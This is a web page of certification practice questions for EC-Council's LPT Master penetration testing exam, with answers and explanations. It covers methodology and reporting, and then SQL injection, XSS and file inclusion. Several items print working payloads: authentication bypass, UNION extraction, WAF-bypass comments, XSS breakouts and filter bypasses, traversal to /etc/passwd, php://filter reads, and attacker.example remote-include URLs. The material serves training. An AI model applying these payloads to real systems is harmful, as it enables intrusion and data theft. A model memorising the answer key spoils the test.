I85PREP
⌘ K
EC-Council LPT Master study materials
EC-Council LPT Master study resources

EC-Council LPT Master practice questions

One question at a time. Build your EC-Council LPT Master understanding.

First 50 of 200 questions. Each one lists the choices, the correct answer, and an explanation. The checker at the top of this page saves progress in this browser when it is available.

Continue in the practice tool above to load more questions, 50 at a time.

Question 1Demonstrate a repeatable and measurable approach to penetration testing

A penetration testing team is drafting the rules of engagement for a new engagement. Which element must be agreed in writing before any active testing begins?

  1. The hourly billing rate for each tester
  2. The list of vulnerabilities the team expects to find
  3. The exact tool versions the testers will run
  4. The scope of target assets and the authorized testing window Correct answer.

Explanation

Rules of engagement must define authorized in-scope assets and the time window during which testing is permitted, because anything outside that is unauthorized activity. Tool versions and billing are operational or commercial details, not authorization boundaries.

Question 2Demonstrate a repeatable and measurable approach to penetration testing

Which metric best demonstrates that a penetration testing methodology is repeatable across different testers on similar targets?

  1. Consistent phase coverage and documented outputs when different testers follow the same process Correct answer.
  2. The average severity score of findings
  3. The number of vulnerabilities reported per engagement
  4. The total hours billed to the client

Explanation

Repeatability means that independent testers following the same methodology produce comparable coverage and comparable documented artifacts. Raw finding counts and severity averages vary with target state and do not demonstrate process consistency.

Question 3Demonstrate a repeatable and measurable approach to penetration testing

During a scoping call, the client asks how the team will measure whether testing improved security. Which approach aligns with a measurable penetration testing program?

  1. Count the number of tools used during the engagement
  2. Report only critical findings to keep the report short
  3. Re-test previously reported findings and track remediation rates against defined criteria Correct answer.
  4. Extend the testing window until no new findings appear

Explanation

Measurability requires defined criteria and comparison over time, such as re-testing prior findings and computing remediation rates. Tool counts and open-ended testing windows are not indicators of security improvement.

Question 4Demonstrate a repeatable and measurable approach to penetration testing

A tester discovers a critical vulnerability in an out-of-scope third-party system reachable from an in-scope host. What is the correct action under a disciplined methodology?

  1. Ignore it entirely and remove it from all notes
  2. Exploit it immediately because it was reachable
  3. Post it to a public disclosure forum for verification
  4. Document it and notify the client contact without exploiting it Correct answer.

Explanation

Out-of-scope systems must not be tested; the finding should be documented and reported through the agreed client channel so the client can authorize or remediate. Exploiting or publicly disclosing it violates the rules of engagement and confidentiality.

Question 5Demonstrate a repeatable and measurable approach to penetration testing

Which document defines how discovered sensitive data such as credentials or personal records must be handled during and after an engagement?

  1. The vulnerability severity scoring guide
  2. The data handling and confidentiality section of the engagement agreement Correct answer.
  3. The penetration testing execution standard
  4. The tester's personal note-taking template

Explanation

Handling of sensitive data is governed by the confidentiality and data handling terms agreed with the client, which specify storage, transmission, and destruction requirements. Standards and templates guide technique but do not bind the parties contractually.

Question 6Demonstrate a repeatable and measurable approach to penetration testing

A methodology requires that every finding be reproducible. Which report element most directly supports reproducibility?

  1. A screenshot of the final shell
  2. The exact request or command, preconditions, and observed result Correct answer.
  3. A general description of the affected technology
  4. The tester's overall risk rating

Explanation

Reproducibility requires the precise steps, inputs, preconditions, and observed output so another party can recreate the result. Screenshots alone omit the inputs, and general descriptions or ratings do not let anyone repeat the test.

Question 7Demonstrate a repeatable and measurable approach to penetration testing

Which phase ordering reflects a standard penetration testing lifecycle used to keep engagements repeatable?

  1. Scoping, reconnaissance, vulnerability analysis, exploitation, post-exploitation, reporting Correct answer.
  2. Reporting, scoping, exploitation, reconnaissance
  3. Reconnaissance, reporting, scoping, exploitation
  4. Exploitation, reconnaissance, reporting, scoping

Explanation

A repeatable lifecycle begins with scoping and reconnaissance, proceeds through analysis and exploitation, then post-exploitation and reporting. Reporting at the end ensures findings are validated before they are communicated.

Question 8Demonstrate a repeatable and measurable approach to penetration testing

A team wants to compare two testers' coverage of the same web application. Which artifact best supports this comparison?

  1. Each tester's total number of exploitation attempts
  2. The final risk score of the application
  3. A shared checklist of test cases mapped to application functions with pass/fail evidence Correct answer.
  4. The number of hours each tester spent

Explanation

A shared test-case checklist mapped to application functions records which areas were covered and with what evidence, enabling direct comparison of coverage. Attempt counts, hours, and a single risk score do not reveal which functions were actually tested.

Question 9Demonstrate a repeatable and measurable approach to penetration testing

Which practice best ensures a penetration test is measurable rather than anecdotal?

  1. Relying on the lead tester's memory during report writing
  2. Recording each test case with its objective, result, and supporting evidence Correct answer.
  3. Reporting findings without severity ratings
  4. Summarizing findings only in prose without artifacts

Explanation

Measurable testing depends on structured records linking each test case to an objective, a result, and evidence, which allows later verification and trend analysis. Memory-based or artifact-free reporting cannot be audited or compared.

Question 10Demonstrate a repeatable and measurable approach to penetration testing

An engagement agreement states testing may occur only between 22:00 and 04:00 local time. A tester finds a critical flaw at 04:20. What should the tester do?

  1. Exploit the flaw and omit the timestamp from the report
  2. Stop active testing, document the observation, and request an extension Correct answer.
  3. Continue exploiting because the flaw is critical
  4. Restart testing the next night without informing the client

Explanation

The testing window is an authorization boundary; activity outside it is unauthorized even for high-value findings. The correct response is to halt, document, and seek an approved extension through the client contact.

Question 11Demonstrate a repeatable and measurable approach to penetration testing

Which statement best describes the role of a methodology baseline in a mature penetration testing program?

  1. It guarantees no vulnerabilities will be missed
  2. It fixes the exact findings every engagement will produce
  3. It replaces the need for scoping discussions
  4. It provides a defined, repeatable set of phases and checks that testers adapt to each target Correct answer.

Explanation

A baseline gives a consistent structure and minimum checks that testers apply and adapt to each target, supporting repeatability. It cannot guarantee completeness, replace scoping, or predetermine findings.

Question 12Demonstrate a repeatable and measurable approach to penetration testing

Which element is essential when defining a measurable success criterion for a penetration test?

  1. A promise to find at least ten vulnerabilities
  2. A specific, verifiable condition such as all high-severity findings remediated and re-tested Correct answer.
  3. A vague statement that the system will be more secure
  4. An open-ended testing period with no end date

Explanation

Measurable criteria must be specific and verifiable, such as remediation of high-severity findings confirmed by re-testing. Vague goals, quotas, and open-ended periods cannot be objectively evaluated.

Question 13Demonstrate a repeatable and measurable approach to penetration testing

During reconnaissance a tester identifies a host that resolves to an IP address outside the agreed scope range. What is the appropriate methodological response?

  1. Exclude it from active testing and confirm scope with the client Correct answer.
  2. Treat it as in scope because it was discovered
  3. Add it to scope unilaterally to save time
  4. Scan it passively only and then exploit it

Explanation

Scope is defined by the agreement, not by discovery; hosts outside the agreed range must be excluded from active testing until the client confirms. Unilateral scope expansion or later exploitation violates authorization.

Question 14Demonstrate a repeatable and measurable approach to penetration testing

Which reporting practice best supports trend analysis across quarterly penetration tests?

  1. Reporting only new findings and omitting recurring ones
  2. Changing the severity scheme each quarter to reflect new tools
  3. Writing each report in a different structure
  4. Using a consistent finding taxonomy and severity scheme each quarter Correct answer.

Explanation

Trend analysis requires stable categories and severity definitions so results can be compared over time. Changing schemes, omitting recurring findings, or varying structure breaks comparability.

Question 15Demonstrate a repeatable and measurable approach to penetration testing

A tester wants to demonstrate that a finding is a true positive rather than a tool artifact. Which action best supports this?

  1. Increase the scanner's aggressiveness setting
  2. Ask another tester to guess whether it is real
  3. Manually reproduce the finding with controlled input and capture the observed behavior Correct answer.
  4. Rerun the same automated scanner with default settings

Explanation

Manual reproduction with controlled input and captured output confirms the behavior independently of the scanner. Rerunning scanners or increasing aggressiveness repeats the same automated logic rather than validating it.

Question 16Demonstrate a repeatable and measurable approach to penetration testing

Which practice best protects client data collected during a penetration test after the engagement ends?

  1. Retaining all captured data indefinitely for future engagements
  2. Storing data on personal unencrypted devices
  3. Sharing data with third parties for marketing
  4. Destroying or returning data per the agreed retention schedule and confirming it Correct answer.

Explanation

Post-engagement handling must follow the agreed retention and destruction schedule, with confirmation that data was destroyed or returned. Indefinite retention, insecure storage, and unauthorized sharing breach confidentiality obligations.

Question 17Demonstrate a repeatable and measurable approach to penetration testing

A methodology includes a peer review step before report delivery. What is the primary measurable benefit of this step?

  1. It shortens the testing window
  2. It reduces errors and inconsistencies in findings and their evidence Correct answer.
  3. It eliminates the need for client communication
  4. It increases the number of findings reported

Explanation

Peer review catches errors, unsupported claims, and inconsistencies before delivery, improving report quality measurably through fewer corrections. It does not increase findings, shorten testing, or replace client communication.

Question 18Demonstrate a repeatable and measurable approach to penetration testing

Which element distinguishes a repeatable penetration testing process from an ad hoc one?

  1. Random selection of tools per engagement
  2. Reliance on a single expert tester's intuition
  3. Documented procedures and defined outputs for each phase Correct answer.
  4. Skipping reconnaissance when time is short

Explanation

Repeatability comes from documented procedures and defined outputs that any qualified tester can follow and produce consistently. Intuition, random tooling, and skipped phases introduce variability and coverage gaps.

Question 19Demonstrate a repeatable and measurable approach to penetration testing

A client asks for assurance that the testers will not disrupt production. Which control most directly addresses this during active testing?

  1. Testing without informing the client's operations team
  2. Disabling monitoring to avoid alerts
  3. Testing only during the agreed maintenance window with agreed throttling and rollback plans Correct answer.
  4. Using the most aggressive exploitation techniques available

Explanation

Production safety is managed through agreed windows, rate limits, and rollback plans that bound the impact of testing. Aggressive techniques, secrecy from operations, and disabling monitoring increase disruption risk.

Question 20Demonstrate a repeatable and measurable approach to penetration testing

Which statement best captures why a penetration testing methodology should define exit criteria for each phase?

  1. Exit criteria define when a phase is complete and its outputs are ready, enabling consistent progression Correct answer.
  2. Exit criteria guarantee the target is fully secure
  3. Exit criteria fix the number of vulnerabilities that will be found
  4. Exit criteria eliminate the need for documentation

Explanation

Exit criteria specify the conditions and outputs required to consider a phase complete, which keeps progression consistent across testers and engagements. They do not guarantee security, remove documentation needs, or predetermine findings.

Question 21Demonstrate a repeatable and measurable approach to penetration testing

A tester must decide how much exploitation depth is appropriate once a vulnerability is confirmed. Which factor should govern this decision?

  1. The availability of new exploitation tools
  2. The agreed objectives and impact limits defined in the rules of engagement Correct answer.
  3. The number of hours remaining in the engagement
  4. The tester's personal curiosity about the target

Explanation

Exploitation depth is bounded by the engagement objectives and impact limits agreed with the client, which define how far testing may go. Curiosity, remaining time, and tool availability are not authorization criteria.

Question 22Demonstrate a repeatable and measurable approach to penetration testing

Which artifact best allows a client to verify that a penetration test followed the agreed methodology?

  1. A marketing brochure describing the firm's services
  2. The tester's resume
  3. A testing log recording phases, test cases, timestamps, and results Correct answer.
  4. A verbal briefing at the end of the engagement

Explanation

A structured testing log with phases, test cases, timestamps, and results provides auditable evidence that the methodology was followed. Verbal briefings, brochures, and resumes do not document what was actually done.

Question 23Demonstrate a repeatable and measurable approach to penetration testing

A team wants to reduce variance between testers on the same target type. Which measure most directly achieves this?

  1. Removing documentation requirements to speed testing
  2. Assigning each tester a different toolset
  3. Standardized test-case libraries with expected evidence for each case Correct answer.
  4. Letting each tester choose their own phase order

Explanation

Standardized test-case libraries with defined expected evidence give testers a common basis, reducing variance in coverage and reporting. Divergent toolsets, free phase ordering, and reduced documentation all increase variability.

Question 24Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

During a web application assessment, you observe that the application returns a generic 500 error page whenever a single quote is appended to the id parameter, but returns normal content when the same parameter receives a numeric value. Which interpretation of this behavior is most accurate for planning the next step?

  1. The generic error indicates the parameter is sanitized with a whitelist, so no SQL injection testing is needed.
  2. The application is definitely vulnerable to reflected XSS because the error page echoes the input value.
  3. The application is likely concatenating the parameter into a SQL statement, so structured probing with boolean and time-based payloads is warranted. Correct answer.
  4. The application is protected by a WAF that blocks all SQL injection attempts and further testing is pointless.

Explanation

A behavior change tied specifically to a SQL metacharacter such as a single quote strongly suggests the value is being placed into a SQL statement without proper parameterization. That signal justifies structured follow-up with boolean logic, union, and time-based payloads to confirm and characterize the injection. A whitelist would reject the quote gracefully rather than producing a database-driven error.

Question 25Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

Which HTTP response header, when set correctly, instructs modern browsers to block a page from executing inline scripts and thereby mitigates many reflected XSS attacks?

  1. Content-Security-Policy Correct answer.
  2. Strict-Transport-Security
  3. X-Content-Type-Options
  4. Referrer-Policy

Explanation

Content-Security-Policy lets the server declare which script sources are permitted; a policy without 'unsafe-inline' blocks inline event handlers and inline script blocks that reflected XSS payloads rely on. The other headers address transport security, MIME sniffing, and referrer leakage rather than script execution.

Question 26Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A PHP page uses the code include($_GET['page'] . '.php'); and the value of page is used directly. Which class of vulnerability is most directly enabled by this code?

  1. Local file inclusion Correct answer.
  2. Open redirect
  3. Stored XSS
  4. SQL injection

Explanation

Concatenating user input into an include path lets an attacker traverse the filesystem and include local files such as logs or uploaded content, which is local file inclusion. The '.php' suffix constrains remote inclusion but does not stop directory traversal to local files.

Question 27Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

In a blind SQL injection test, you send a payload that causes the database to sleep for five seconds only when a condition is true, and you compare response times. Which technique are you applying?

  1. Out-of-band injection
  2. Union-based injection
  3. Time-based blind injection Correct answer.
  4. Error-based injection

Explanation

Time-based blind injection infers truth values from measurable delays in the response rather than from returned data or error messages. It is used when the application gives no visible output and no error detail for injected conditions.

Question 28Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

Which PHP configuration setting, when enabled, is the primary reason that remote file inclusion attacks against include() statements succeed?

  1. session.use_strict_mode
  2. display_errors
  3. open_basedir
  4. allow_url_include Correct answer.

Explanation

allow_url_include permits include statements to fetch and execute code from remote URLs such as HTTP or FTP, which is the precondition for remote file inclusion. When it is disabled, an attacker can still attempt local inclusion but cannot pull a remote payload directly through include().

Question 29Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A search page reflects the query string into the HTML body without encoding. Which payload most reliably demonstrates a reflected XSS finding in a modern browser?

  1. http://attacker.example/evil.php
  2. "><script>alert(document.domain)</script> Correct answer.
  3. ' OR 1=1 --
  4. ../../../../etc/passwd

Explanation

A reflected XSS proof needs an HTML or script context breakout followed by executable script, so breaking out of an attribute with a quote and injecting a script tag is the standard demonstration. The other payloads target SQL, file paths, or remote includes rather than script execution in the browser.

Question 30Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

Which practice most effectively prevents SQL injection at the code level across an entire application?

  1. Escaping single quotes in user input with a blacklist filter
  2. Hiding database error messages from users
  3. Using parameterized queries with bound parameters Correct answer.
  4. Limiting the length of all input fields

Explanation

Parameterized queries separate SQL code from data so that input is never parsed as SQL syntax, which eliminates the root cause of injection. Input filtering and error hiding reduce symptoms or information leakage but do not fix the underlying concatenation flaw.

Question 31Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

You are testing a parameter that is inserted into a SQL query inside single quotes. You want to determine the number of columns returned by the original query using ORDER BY. Which sequence of requests is the correct approach?

  1. Send a single quote and count the number of error messages returned.
  2. Send ORDER BY 1, then ORDER BY 2, and so on until the response changes to an error, indicating the column count exceeded. Correct answer.
  3. Send UNION SELECT NULL repeatedly with increasing NULL counts until the page loads.
  4. Send a sleep payload with increasing delays until the response time stabilizes.

Explanation

Incrementing the ORDER BY column position causes an error once the position exceeds the number of columns in the result set, which reveals the column count. This is a standard precursor to crafting a UNION SELECT with a matching number of columns.

Question 32Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

An application stores user-supplied profile comments and later renders them to other users without HTML encoding. Which attack is enabled and what is its primary impact?

  1. Reflected XSS, affecting only the user who submits the payload
  2. SQL injection, allowing extraction of the user table
  3. Local file inclusion, allowing reading of server configuration files
  4. Stored XSS, allowing script execution in the browsers of users who view the comments Correct answer.

Explanation

Persisted unencoded content that is rendered to other users is stored XSS, and the script executes in each victim's browser session when the page is viewed. This can lead to session theft, actions performed as the victim, or credential phishing within the trusted origin.

Question 33Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A file inclusion endpoint accepts a filename parameter. You want to read /etc/passwd on a Linux host using directory traversal. Which payload is most appropriate given the parameter is appended to a base directory such as /var/www/pages/?

  1. file=../../../../etc/passwd Correct answer.
  2. file=http://attacker.example/shell.txt
  3. file=/etc/passwd
  4. file=php://filter/convert.base64-encode/resource=index

Explanation

When the parameter is appended to a fixed base directory, traversal sequences are needed to climb out of that directory before referencing the target file. An absolute path alone is often prefixed by the base directory and therefore fails.

Question 34Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

During testing you find that the application reflects the value of a parameter inside a JavaScript string literal in an inline script block. Which payload strategy is most likely to achieve script execution?

  1. Inject a SQL comment sequence to truncate the remaining JavaScript.
  2. Inject a <script> tag directly, since HTML parsing applies inside script blocks.
  3. Close the string with a quote, terminate the statement, and inject a call such as alert(document.domain). Correct answer.
  4. Inject a ../ sequence to include a remote script file.

Explanation

Inside a JavaScript string context, the attacker must first break out of the string and statement before adding executable code. HTML tags are not parsed as markup inside a script element, so a script tag payload would not execute there.

Question 35Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A login form is suspected of SQL injection. The backend query is SELECT * FROM users WHERE username = '<input>' AND password = '<input>'. Which payload submitted in the username field would most likely bypass authentication when the password field is arbitrary?

  1. admin' UNION SELECT 1,2,3
  2. admin\' OR 1=1
  3. admin' -- Correct answer.
  4. admin' AND '1'='2

Explanation

Closing the quote and adding a SQL comment removes the password comparison from the query, so the condition reduces to matching the admin username. The comment must be valid for the target database, such as -- followed by a space or # in MySQL.

Question 36Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

You observe that an application's response to a boolean SQL injection payload differs in content length but not in visible text. Which approach best confirms the injection reliably?

  1. Assume injection is present because the response length varies slightly between requests.
  2. Compare response bodies and status codes for true and false conditions across repeated requests and look for consistent differences. Correct answer.
  3. Submit the same request once and compare it to an unrelated page.
  4. Send a single quote and rely on the presence of a generic error page.

Explanation

Boolean blind injection is confirmed by a reproducible difference between true and false conditions, such as content length, status code, or specific strings. Repeated requests control for normal variation such as timestamps or ads.

Question 37Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

An attacker uploads a file containing PHP code with a .jpg extension, then uses a local file inclusion vulnerability to include that uploaded file. Which defense most directly breaks this attack chain?

  1. Disabling execution of scripts in the upload directory and validating file content Correct answer.
  2. Renaming uploaded files to random identifiers
  3. Adding the X-Frame-Options header
  4. Increasing the maximum upload size

Explanation

The chain relies on the included file being interpreted as code, so preventing script execution in upload directories and validating content type and extension breaks it. Random naming alone does not stop inclusion if the attacker can learn or predict the path.

Question 38Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

Which condition must be true for a remote file inclusion attack to succeed against a PHP application?

  1. The PHP configuration must allow URL inclusion and the vulnerable code must pass user input to include(). Correct answer.
  2. The application must use a database connection.
  3. The attacker must have write access to the web root.
  4. The server must have the allow_url_fopen directive disabled.

Explanation

RFI requires that the include statement accept attacker-controlled input and that the runtime permit fetching remote URLs, typically through allow_url_include. Without both conditions, the include either cannot reach a remote resource or is not influenced by the attacker.

Question 39Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A developer mitigates XSS by replacing < and > characters with HTML entities in user input before storing it. Which residual risk should the tester evaluate?

  1. Input may be rendered in attribute or JavaScript contexts where angle bracket encoding is insufficient. Correct answer.
  2. The encoding may break legitimate functionality but fully prevents all XSS in every context.
  3. The mitigation introduces SQL injection because entities contain semicolons.
  4. The mitigation causes remote file inclusion by altering file paths.

Explanation

Encoding only angle brackets addresses HTML element context but leaves attribute, URL, and JavaScript string contexts vulnerable to breakout payloads. Context-aware output encoding for the specific sink is required, and input filtering alone is not a complete defense.

Question 40Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

You confirm a UNION-based SQL injection with three columns and want to retrieve database names on a MySQL target. Which payload best fits after determining that the second column is reflected on the page?

  1. ' UNION SELECT 1,2,3-- -
  2. ' AND 1=1-- -
  3. ' UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- - Correct answer.
  4. ' OR SLEEP(5)-- -

Explanation

A UNION SELECT with a matching column count can place the schema_name column into the reflected position, and information_schema.schemata lists databases on MySQL. Placing the value in the reflected column is what makes the data visible on the page.

Question 41Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

Which technique allows an attacker to read the source of a PHP file through a local file inclusion vulnerability when the file would otherwise be executed rather than displayed?

  1. Using the php://filter wrapper with a base64 encoding filter Correct answer.
  2. Requesting the file with a HEAD method
  3. Appending a null byte to the filename
  4. Including the file with an absolute path

Explanation

The php://filter wrapper applies stream filters to the included resource, so base64-encoding a PHP file returns its source as encoded text rather than executing it. Null byte truncation was historically used to bypass suffixes but is not the method for reading source.

Question 42Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A DOM-based XSS vulnerability exists in client-side JavaScript that reads location.hash and writes it to innerHTML. Which statement best describes why server-side output encoding does not remediate it?

  1. Browsers automatically sanitize innerHTML assignments.
  2. The server always encodes location.hash before it is read.
  3. The payload never reaches the server, so the vulnerable sink is entirely in the browser. Correct answer.
  4. The hash fragment is encrypted in transit.

Explanation

DOM-based XSS occurs when client-side code takes a source such as location.hash and passes it to a dangerous sink like innerHTML without sanitization. Because the data flow stays in the browser, server-side encoding never processes the payload, so the fix must be in the client code.

Question 43Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A WAF blocks requests containing the literal string UNION SELECT. Which approach is most likely to bypass the filter while preserving the SQL injection semantics on a MySQL target?

  1. Adding a trailing semicolon to the request
  2. Sending the payload over HTTPS instead of HTTP
  3. URL-encoding the space character only
  4. Using inline comments and case variation such as UN/**/ION SEL/**/ECT Correct answer.

Explanation

Signature filters often match contiguous keywords, so inserting inline comments or varying case can break the signature while the database still parses the keywords. The database strips comments during parsing, restoring the intended UNION SELECT.

Question 44Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

You are assessing a blind SQL injection where the application returns no output and blocks outbound network connections from the database server. Which extraction technique remains viable?

  1. Time-based inference using conditional delays to test each character Correct answer.
  2. UNION-based extraction using the reflected column
  3. Error-based extraction using detailed database error messages
  4. Out-of-band DNS exfiltration through the database

Explanation

Time-based inference works without visible output and without outbound connectivity because it relies only on response timing for true and false conditions. Out-of-band techniques need network egress, and error-based and union-based methods need visible feedback.

Question 45Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

A tester discovers that the application sanitizes input by stripping the substring <script> recursively once. Which payload best demonstrates a bypass of this specific filter?

  1. <img src=x onerror=alert(document.domain)> Correct answer.
  2. "><script>alert(1)</script>
  3. <scr<script>ipt>alert(document.domain)</script>
  4. <script src=//attacker.example/x.js></script>

Explanation

A filter that only removes script tags does not address other HTML elements with event handlers, so an img tag with onerror executes script without using a script tag. This demonstrates that blacklisting a single tag is insufficient.

Question 46Perform advanced techniques and attacks to identify SQL injection, Cross-site scripting (XSS), LFI, RFI vulnerabilities in web applications

An application includes files based on a parameter and blocks the substring ../ but permits URL encoding. Which payload is most likely to bypass the filter while still performing directory traversal on a PHP target?

  1. %2e%2e%2f%2e%2e%2fetc%2fpasswd Correct answer.
  2. ..%00/etc/passwd
  3. http://attacker.example/etc/passwd
  4. ....//....//etc/passwd

Explanation

URL-encoded dot and slash characters can pass a filter that matches the literal ../ sequence, and the application may decode them before filesystem access. This restores the traversal sequence at the point of use.

Question 47Submit a professional and industry-accepted report that achieves management and technical buy-in

A penetration test is complete and the client's CIO asks for a document that summarizes risk posture and funding priorities rather than packet captures. Which reporting approach best satisfies this request?

  1. Produce an executive summary that translates technical findings into business risk and remediation priorities Correct answer.
  2. Provide only the technical report and let the CIO's staff extract the business implications
  3. Deliver the raw scanner output with a cover page so the CIO can interpret the technical detail directly
  4. Send the full technical appendix to the board and omit any summary narrative

Explanation

Management buy-in depends on translating technical findings into business language such as risk exposure, likelihood, and cost of remediation. A dedicated executive summary lets decision-makers act without reading exploit detail. Raw output and technical appendices serve the technical audience, not executive prioritization.

Question 48Submit a professional and industry-accepted report that achieves management and technical buy-in

Which element is essential in the technical section of a penetration test report so that a remediation engineer can independently reproduce a finding?

  1. A general statement that vulnerabilities were discovered
  2. Reproduction steps with affected hosts, evidence, and observed impact Correct answer.
  3. The tester's hourly rate and contract scope
  4. A list of every tool installed on the testing workstation

Explanation

Technical buy-in requires findings that another engineer can verify and fix. Reproduction steps, affected assets, supporting evidence, and observed impact give the remediation team what they need to confirm and close the issue. Commercial and tooling details do not support verification of a specific finding.

Question 49Submit a professional and industry-accepted report that achieves management and technical buy-in

During report review, a tester wants to include a working exploit script as an appendix. What is the most defensible handling practice?

  1. Embed the full exploit inline in the executive summary for emphasis
  2. Omit all evidence of exploitation to avoid any sensitive content
  3. Publish the full exploit to a public paste site and link it in the report
  4. Include only the minimum evidence needed and store sensitive exploit material in a controlled, access-restricted annex Correct answer.

Explanation

Reports often contain material that could be misused if widely distributed, so sensitive artifacts should be minimized and access-controlled. Keeping exploit code in a restricted annex preserves verification value while limiting exposure. Omitting all evidence undermines credibility, and public disclosure is irresponsible.

Question 50Submit a professional and industry-accepted report that achieves management and technical buy-in

A finding is rated Critical, but the affected system is an isolated lab host with no production data. How should the report reconcile severity with business context?

  1. Escalate it to the highest remediation priority regardless of context
  2. Keep the raw technical severity and add a business-context note explaining the limited exposure and agreed priority Correct answer.
  3. Remove the finding because it is not production-facing
  4. Downgrade the technical severity silently so the client sees a lower number

Explanation

Technical severity and business risk are distinct dimensions, and a credible report presents both transparently. Retaining the technical rating while documenting context and agreed priority keeps the report accurate and actionable. Silently altering ratings or deleting findings destroys trust with both audiences.